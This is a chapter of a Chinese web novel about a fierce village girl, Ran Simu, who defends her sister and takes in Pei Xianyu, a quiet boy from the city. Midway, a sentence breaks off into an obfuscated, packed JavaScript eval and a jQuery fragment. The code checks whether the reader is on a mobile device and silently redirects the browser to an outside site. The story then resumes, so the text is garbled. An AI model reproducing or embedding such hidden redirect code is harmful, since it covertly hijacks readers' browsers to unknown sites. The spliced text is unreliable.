“刘二狗你给我站住!!!”
初秋黄昏,流经冉家庄的兰渠旁,小路上沙土飞扬。
哭爹喊娘的男孩捂着屁股狂奔,身后紧跟着个怒气冲天的女娃娃,肩上扛个小锄头,骂骂咧咧地穷追不舍,末了,还有只“汪汪”吠着的大黄狗。
刘信泽边跑边回头看那活阎王,一个没留神踩进土坑,崴倒在泥沟,一时爬不起来,只好眼睁睁看着女孩追上。
她放下锄头拿在手里调转方向,木把指着他的屁股蛋儿,刘信泽条件反射地捂住,哀嚎道:“冉思沐你别打了!我错了!我再也不敢了!再说了,我今天真不是故意的!”
十岁的冉思沐堪堪比身侧的锄头高半拃,气势倒是足,她一脚踩上二狗的屁股,大声警告:“再让我看见你欺负我妹妹,我就把石块塞你腚沟子里,叫你拉不出屎!”
躺在地上的刘信泽看看她,又看看一旁蹲坐着耷拉舌头的狗,被吓得结结巴巴地讨饶,“不……不敢了,真不敢了,再不玩儿弹弓了!”
小思沐收回脚,蹭了把脸上的汗,留下污黑一团,冷冷哼道:“算你识相,我就再给你次机会,你跟你那帮小弟最好放老实点,不然……”
她作势又举起锄头,男孩紧捂屁股用力蹭地躲远了些,“知道,知道了!”
“泥巴,我们走!”
大黄狗听话地跟在冉思沐身后,一人一狗走远了,刘信泽才挣扎着爬起,大哭着跑回家。
小时候的冉思沐是冉家庄出了名的疯丫头。
疯,但不坏。
爷爷惯,爸妈宠,妹妹服,没变成无法无天的混世魔王,全靠奶奶过世前对她的谆谆教诲——
家里没有男孩,但沐沐是长女,女子一样能顶半边天;沐沐要懂事听话明理,好好学习有出息,长大了帮爸妈扶持家里,要体恤孝敬长辈,要友爱照顾妹妹……
奶奶是那个年代少有的读过书的闺秀,慈祥温柔,妹妹出生后,冉思沐一直由奶奶带,自小受她教导,她的话不论对错,都被小思沐奉为圭臬。
认真记在心里,并付诸实践,在还不懂什么是责任的年纪就学会了事事以家人为先。
刘二狗不是第一次欺负思焓了,赶巧今天让她抓到了现行,那就不能怪她不讲同学情面了。
也就是生在了和平年代,不然以冉思沐爱憎分明有仇必报的性子,高低能组出个铁血娘子军。
日头渐斜,她领着泥巴回到家,院外停着辆黑漆漆的高级小轿车。
在小灵通和电动车都算罕见物件儿的年代,私人轿车在乡镇可是非常稀有的,平常见惯了拖拉机马拉板车和客运中巴,乍一看这铁块似的四轮小车冉思沐难免目瞪口呆。
她扯掉红领巾,仔细叠好揣进口袋,绕着那小车左三圈右三圈好奇地打量,隔壁表婶走出屋,扒着围栏跟她搭话,“疯丫头又上哪野去啦?”
冉思沐没理她,上手想摸摸这锃光瓦亮的车身,表婶连忙冲出来阻止,“傻丫头快离远点,你那锄头要是把这车划了,把你卖了都赔不起!”
“啊?”
她显然不信,但还是听话地站远了些,表婶继续道:“我三姑奶家的外孙条件很好,大学毕业在金融单位上班好几年也才买了辆桑塔纳,近十万呢!喏,看见这标志没,这可是奔驰,大几十万!”
冉思沐想了想,默默掰着手指头算,爸爸每天起早贪黑批发土豆,一天最多也就赚个十几块钱,几十万……对小学生来说明显超纲了。
她算不清这天文数字,挠挠头和表婶告别,手死死握住木把,稳稳拖着锄头,绕车一大圈回到了院内。
天还没黑透,堂屋里亮着灯,冉思沐看见几个大人围在方桌前。
而在院落一角,鸡圈旁的砖垛上正端坐着个背书包的小男孩,她盯着看了半晌,见他一动不动的,有些好奇地靠近。
他和庄子上黑瘦的男娃不一样,漂亮的脸上白白净净的,胸前工工整整地系着红领巾,身上的藏蓝色套装透着股……很贵的气息。
难道……这就是传说中的校服?
他们镇上的小学是没有校服的,听刘二狗说,只有城里的贵族学生才穿得起校服,女生还有裙子呢。
那男孩很警觉,冉思沐在距离他一米的地方停住了脚步,他转过头来,秀气的脸上有非常明显的巴掌印,通红通红的。
男孩也在打量她,从乌漆嘛黑的脸到汗湿的短袖短裤,再到满是黄泥的布鞋,和握在手里的锄头。
冉思沐怕吓到这么个瓷娃娃,忙撒手撇开木把,黑亮的大眼睛忽闪着,扬起个自认和善的笑,“你好呀,我——”
没等她把话说完,他就面无表情地转回了脸,继续盯着圈里啄米的鸡。
她又试着上前一步,男孩再次不悦地瞪来一眼,警告意味十足,于是冉思沐始终和他保持着一米距离,绕了个半圆到他面前,小声问道:“外面的车,是你家大人的嘛?”
他仍不理她,沉默着,冉思沐热脸贴了个冷屁股,但并不在意,甚至开始天马行空地猜测,自顾自咕哝:“总不会是我爸卖土豆儿发财了吧……”
“……”
他还是不说话,冉思沐歪头打量他左臂佩戴的少先队队标,心生羡慕,又突然指着他脸上的掌印,“你的脸——”
“思沐!”
屋内妈妈在叫她,冉思沐应了声,丢下这个把她当空气的男孩飞快跑进了门。
于是,她知道了这个和她同龄男孩的名字——裴岘禹。
爷爷说,裴岘禹的爷爷就是那个和他有过命交情的老战友,裴爷爷一家从前也生活在香槐镇,他们两家是乡亲故交。
爷爷还说,从今天起,这个从城里来的漂亮男孩就要和他们在一起生活了。
“为什么啊?他爸爸妈妈不想他吗?”
老爷子只是叹气,抚着思沐的脑瓜,语重心长道:“小禹跟你不一样……以后你们在同一所学校念书,要多多帮助他适应乡下的生活。”
“好!首长放心!保证完成任务!”
*
冉思沐将裴岘禹列为和思焓一样重要的保护对象,并且还大方地把自己的房间让给了他。
周末,难得不用早起,却有不识趣的搅人清梦。
刘信泽妈妈怒气冲冲地带着她儿子上门来,和杨巧英好一通理论,“看看看看!看看你家野丫头干的好事!”
说着,她扯掉刘信泽的短裤,白嫩的屁股上青紫一片,“一天到晚跟个假小子似的!扛个锄头不是下地就是打人!前天带条狗,追了我家阿泽二里地!庄上的人可都看见了!”
杨巧英不了解事情经过,只得先好言劝着,一边扬声喊来正喝粥啃馍馍的冉思沐。
“到底怎么回事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15495670|170170||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
?你怎么打人呢?”
冉思沐毫无愧意,她瞪着那个只敢躲在妈妈身后的怂蛋小子,脖子一梗,仰脸大声道:“我没错,是他先动的手,他好几次用弹弓故意吓妹妹,前天还打到她的脸留下印子了!我伤他屁股又不耽误他吃喝拉撒,可他伤了女孩的脸留下疤瘌该怎么算?”
“你——!”
杨巧英听明白了,忙拦在中间,“我说我家二丫头脸上怎么一道血印子呢……哎哟小孩子打打闹闹,算了算了霞妹子,我看小泽也没啥事,这样,我上屋里拿瓶红药水给孩子抹抹,再装些土鸡蛋,好好补补!”
刘家母子杵在门口和冉思沐对峙,趁杨巧英不在,二狗妈妈又小声咕哝:“就这么个母老虎性子,以后庄子上谁敢娶你进门,不省心的疯丫头,可别再落我手里……”
冉思沐扬眉,笑嘻嘻回道:“我长大是要带全家人离开香槐镇的,嫁人?我不稀罕,招个上门的才好!你儿子也别再落我手里,不然还要打到他屁股开花~”
二狗妈妈还要说什么,杨巧英提了布兜出来,好言相劝,总算送走了娘俩。
大门一关,她慢慢沉下脸盯着冉思沐,好半晌,突然绽出个笑,竖起大拇指,“你可真是女中豪杰。”
“那是!奶奶说了,我要帮你顾着家!”
杨巧英摸摸她的头,检查了一遍她身上没伤,才欣慰道:“小小年纪懂什么顾家……去吧,玩儿去吧!”
冉思沐吃完最后一根咸菜,自己扎好头发,照惯例搞来碎菜叶子来到院落一角喂鸡。
她的房间就在鸡圈旁。
窗户大开着,碎花竹叶帘子被穿堂风吹得飘动,裴岘禹正站在窗台边看她。
冉思沐洒下饲料,大方回视,盯着男孩白净的脸,她突然想起那天看到的久久难消的巴掌印,又想起爸妈闲聊时提到的裴岘禹的身世,心有同情,便随口下了个承诺。
“我妈说,你比我晚生三个月,那你就跟思焓一样,以后在香槐镇要是有人敢欺负你,我也会追着他打二里地的!”
裴岘禹听了,还是跟哑巴似的没说话,默默关上了窗。
后来,他转到了冉思沐的班级,上下学的队伍里多了一个裴岘禹。
他虽然平时话少,但富贵家庭里养出来的孩子家教却是极好的,做事妥帖,乖巧省心,脑瓜又聪明,刚转来后不久的期中考试就轻松拿下双百,奥数竞赛的题目也是手拿把掐。
杨巧英特别喜欢裴岘禹,家里有好吃的好用的都想着他。
学校老师也对这个城里来的男孩给予了百分百的关注器重,班里女生大把大把地塞糖给他,男孩则被他书包里各种新奇的玩意儿吸引收服。
后来不知是哪家大人传闲话,说裴岘禹家里开奔驰豪车,非富即贵,穿的用的都是最好的,于是和他交朋友的人更多了。
而冉思沐一直乖乖听话,遵照家里长辈的交待,积极帮他适应村里的生活,只是慢慢地,她发现,裴岘禹其实根本不需要她的帮助,他混得甚至比她还要好。
庄子上人人都喜欢他。
其实最开始,冉思沐也是不讨厌裴岘禹的。
即便是他住了她的房间,妹妹从此成了他的跟屁虫,即便是他分走了太多原本属于她的宠爱和追随者,她都不讨厌他。
只是裴岘禹千不该万不该,不该碰那院子里的三只鸡。